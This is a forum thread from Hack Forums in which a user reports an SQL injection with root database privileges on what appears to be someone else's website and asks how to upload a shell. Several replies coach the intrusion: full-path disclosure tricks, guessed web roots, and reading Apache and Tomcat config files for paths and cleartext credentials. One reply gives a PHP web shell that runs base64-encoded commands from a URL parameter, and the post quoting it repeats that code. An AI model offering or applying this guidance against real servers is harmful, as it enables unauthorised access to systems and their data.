

Forum:[Hack Forums](#)

Thread: [Advanced Sql injection Upload a shell](#)

nios1515 - May 30, 2016, 7:53 am

Hi everyone i really need help after testing on a website i found an error based sql injection i was lucky the database user is "root" i have all privileges i did `load_file(/etc/passwd)` i didn't found anything special still need the full path of the website i used sqlmap to upload a file but nothing tried to brute force full path directories nothing can anyone help

THANK YOU VERY

P.S : the website is using Apache Tomcat/6.0.20

SlimJimTheHunter - May 30, 2016, 9:59 am

have tried adding [] to variables and other FPD methods? There is a good tutorial in the web hacking section

thepentesters - May 30, 2016, 10:15 am

(May 30, 2016 07:53 AM)nios1515 Wrote: [\[CITE\]](#) Hi everyone i really need help after testing on a website i found an error based sql injection i was lucky the database user is "root" i have all privileges i did `load_file(/etc/passwd)` i didn't found anything special still need the full path of the website i used sqlmap to upload a file but nothing tried to brute force full path directories nothing can anyone help

THANK YOU VERY

P.S : the website is using Apache Tomcat/6.0.20

Just because your MySQL user is root does not mean that the process is running as root. A lot of configurations of MySQL don't allow for write access. But, considering it did, I'd just go ahead and start with `/var/www/public_html/` or `/var/www/website.com/` and see what that brings. Upload a simple:

```
Code <?php shell_exec(base64_decode($_GET["cmd"])); ?>
```

And if you happen to find it then run `pwd` to get the working directory. My bet is on `/var/www/public_html/` as it's more than likely a shared hosting service you found that on. So be careful, as with shared hosting, you could get in a lot more trouble than you think.

Hooded Robin - May 30, 2016, 10:34 am

try to read the apache configuration file to find vhost path definitions which might help you find writeable web directory. You can also try to read the configuration files for Tomcat, which have application specific path info and in some cases can also contain cleartext credentials. Read the docs for Apache and Tomcat and start trying to find juicy config files to leak paths and other good stuff...

nios1515 - June 3, 2016, 9:57 am

(May 30, 2016 09:59 AM)SlimJimTheHunter Wrote: [\[CITE\]](#) have tried adding [] to variables and other FPD methods? There is a good tutorial in the web hacking sectionHi Bro already tried thank you for your reply

(May 30, 2016 10:15 AM)thepentesters Wrote: [\[CITE\]](#) Just because your MySQL user is root does not mean that the process is running as root. A lot of configurations of MySQL don't allow for write access. But, considering it did, I'd just go ahead and start with `/var/www/public_html/` or `/var/www/website.com/` and see what that brings. Upload a simple:

Code <?php shell_exec(base64_decode(\$_GET["cmd"])); ?>

And if you happen to find it then run pwd to get the working directory. My bet is on /var/www/public_html/ as it's more than likely a shared hosting service you found that on. So be careful, as with shared hosting, you could get in a lot more trouble than you think.

Hi Bro thanks for your reply i did found the full path just i can't write to directories because i am not allowed.

Thank you

(May 30, 2016 10:34 AM)Hooded Robin Wrote: [\[CITE\]](#) try to read the apache configuration file to find vhost path definitions which might help you find writeable web directory. You can also try to read the configuration files for Tomcat, which have application specific path info and in some cases can also contain cleartext credentials. Read the docs for Apache and Tomcat and start trying to find juicy config files to leak paths and other good stuff...

Hi Thanks for your reply it really helped me thank you but still can't write to directories any ideas to upload my shell

Thank you